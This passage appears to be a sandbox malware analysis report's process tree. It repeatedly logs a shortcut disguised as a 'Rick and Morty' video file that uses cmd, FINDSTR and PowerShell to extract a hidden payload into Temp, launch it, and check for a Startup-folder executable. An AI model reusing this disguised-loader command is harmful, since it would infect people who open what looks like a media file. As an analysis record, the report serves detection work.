        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        154⤵
        
        PID:1288
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0143" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        155⤵
        
        PID:4732
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        155⤵
        
        PID:4784
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        156⤵
        
        PID:956
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0219" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        157⤵
        
        PID:356
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        157⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:6004
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        158⤵
        
        PID:3668
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0301" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        159⤵
        
        PID:4472
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        159⤵
        
        PID:4644
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        160⤵
        
        PID:4564
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0377" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        161⤵
        
        PID:4640
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        161⤵
        
        PID:3376
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        162⤵
        
        PID:2200
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0457" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        163⤵
        
        PID:572
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        163⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:3588
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        164⤵
        
        PID:4904
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0544" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        165⤵
        
        PID:2216
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        165⤵
        
        PID:5476
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        166⤵
        
        PID:2800
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0621" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        167⤵
        
        PID:4048
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        167⤵
        
        PID:5592
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        168⤵
        
        PID:3704
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0696" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        169⤵
        
        PID:1928
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        169⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:5252
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        170⤵
        
        PID:4836
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0773" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        171⤵
        
        PID:2104
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        171⤵
        
        PID:5188
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        172⤵
        
        PID:2404
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0849" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        173⤵
        
        PID:4360
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        173⤵
        
        PID:1548
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        174⤵
        
        PID:1648
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0930" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        175⤵
        
        PID:3312
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        175⤵
        
        PID:5140
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        176⤵
        
        PID:1036
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0013" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        177⤵
        
        PID:4848
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        177⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:8
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        178⤵
        
        PID:3728
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0094" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        179⤵
        
        PID:3996
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        179⤵
        
        PID:2484
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        180⤵
        
        PID:3408
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0174" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        181⤵
        
        PID:4196
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        181⤵
        
        PID:3496
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        182⤵
        
        PID:4520
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0244" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        183⤵
        
        PID:1832
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        183⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:676
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        184⤵
        
        PID:2092
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0337" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        185⤵
        
        PID:4880
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        185⤵
        
        PID:5692
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        186⤵
        
        PID:5728
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0413" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        187⤵
        
        PID:2432
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        187⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:2192
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        188⤵
        
        PID:5952
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0490" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        189⤵
        
        PID:1032
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        189⤵
        
        PID:2216
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        190⤵
        
        PID:4268
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0579" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        191⤵
        
        PID:3948
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        191⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:3328
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        192⤵
        
        PID:5644
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0662" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        193⤵
        
        PID:5936
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        193⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:5364
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        194⤵
        
        PID:3160
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0729" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        195⤵
        
        PID:4556
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        195⤵
        
        PID:4576
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        196⤵
        
        PID:5676
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0807" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        197⤵
        
        PID:3068
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        197⤵
        
        PID:4584
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        198⤵
        
        PID:2952
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0894" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        199⤵
        
        PID:2416
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        199⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:3756
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        200⤵
        
        PID:2408
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0957" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        201⤵
        
        PID:2532
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        201⤵
        
        PID:3456
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        202⤵
        
        PID:3388
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0029" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        203⤵
        
        PID:4996
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        203⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:3404
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        204⤵
        
        PID:3488
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0102" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        205⤵
        
        PID:3196
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        205⤵
        
        PID:4348
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        206⤵
        
        PID:5456
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0177" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        207⤵
        
        PID:5732
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        207⤵
        
        PID:1704
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        208⤵
        
        PID:4676
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0257" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        209⤵
        
        PID:5320
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        209⤵
        
        PID:2724
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        210⤵
        
        PID:2432
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0324" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        211⤵
        
        PID:5536
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        211⤵
        
        PID:4036
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        212⤵
        
        PID:1240
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0409" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        213⤵
        
        PID:3164
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        213⤵
        
        PID:5504
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        214⤵
        
        PID:5580
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0493" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        215⤵
        
        PID:812
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        215⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:2096
        
        C:\Windows\SYSTEM32\cmd.EXE
        
